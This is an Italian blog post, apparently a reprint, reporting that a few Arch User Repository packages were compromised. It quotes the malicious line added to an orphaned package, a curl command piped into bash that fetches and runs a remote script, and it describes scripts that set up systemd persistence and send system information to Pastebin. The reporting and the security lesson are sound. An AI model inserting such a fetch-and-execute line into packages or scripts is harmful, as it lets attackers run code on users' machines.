Due settimane fa era toccato ad uno dei mirror dei repository di Gentoo; oggi la notizia che anche Arch User Repository (AUR) è stato compromesso. AUR permette l’installazione di software non ufficialmente supportato da Arch; i pacchetti ospitati sono praticamente delle “ricette” per verificare (e installare) le dipendenze, quindi scaricare, se necessario compilare, ed infine pacchettizzare il software richiesto; a questo punto pacman
(il gestore di pacchetti di Arch) può installarlo come qualsiasi altro pacchetto.
Calma, però: a differenza di Gentoo, dove il numero di pacchetti modificati è stato tanto consistente da considerare il repository come “totalmente compromesso”, per Arch sembra che i pacchetti contenenti codice malevolo si contino sulle dita di una mano (per ora).
Un utente ha segnalato tramite la mailing list di Arch una variazione nel pacchetto acrored presente in AUR: il pacchetto, pur risultando “orfano” (ovvero senza maintainer, un utente di riferimento che lo gestisse), era stato modificato improvvisamente il 7 Luglio dall’utente “xeactor”, aggiungendo del codice assolutamente non sospetto:
curl -s https://ptpb.pw/~x|bash -&
L’utente medio di Arch, lo sappiamo (ed ogni riferimento ad altri autori del blog è puramente casuale, ndr), adora leggersi il contenuto dei pacchetti tra una compilazione e l’altra, dunque inutile dire che il problema è stato immediatamente indirizzato e ben 6 minuti dopo era stato ripristinato il commit precedente.
Questa segnalazione ha fatto scattare una serie di controlli sugli altri pacchetti e ne sono stati trovati altri due modificati con lo stesso modus operandi.
Per quanti riguarda questi ultimi due, non è ben chiaro cosa potesse voler mai fare visto che lo script “malevolo” raccoglieva info di sistema tramite un uname -a
, reperiva la lista dell’hardware, alcune informazioni riguardanti pacman
e l’output di systemctl list-units
per tentare di spedire il tutto a pastebin.com.
La malvagità dell’operazione termina qui. Il secondo script, quello che avrebbe dovuto inviare l’output a Pastebin aveva un errorino: la funzione di upload si chiamava “upload” ma lo script cercava di richiamare la funzione “uploader”. La cigliegina sullo script è stata indubbiamente la API key di Pastebin *in chiaro* inclusa nel codice. Un vero malware. Nel senso che è stato fatto proprio mal.
Per quanto riguarda la curl inserita in acrored invece, la cosa sembra più strutturata: la curl scarica uno script per procurarsi un secondo script in grado di installare una unit di systemd che periodicamente rieseguiva il secondo script per installare un’altra unit.
Da alcune ricerche effettuate degli utenti e segnalate su Reddit, sembra che l’utente “xeactor” avesse pubblicato dei pacchetti per il mining di criptovalute, ed il sospetto è proprio quello che cercasse di infilare alcuni di questi in altri pacchetti AUR.
Cosa ci insegna questa storia? Ci insegna che forse dovremmo controllare i pacchetti generati da utenti che troviamo sui vari repo, Arch o meno (e che forse gli utenti Arch non fanno malissimo ad essere pignoli).
E sicuramente che dovremmo ricordarci di come chiamiamo le funzioni negli script, se vogliamo usarle eh…
Leggi il contenuto originale su Mia mamma usa Linux!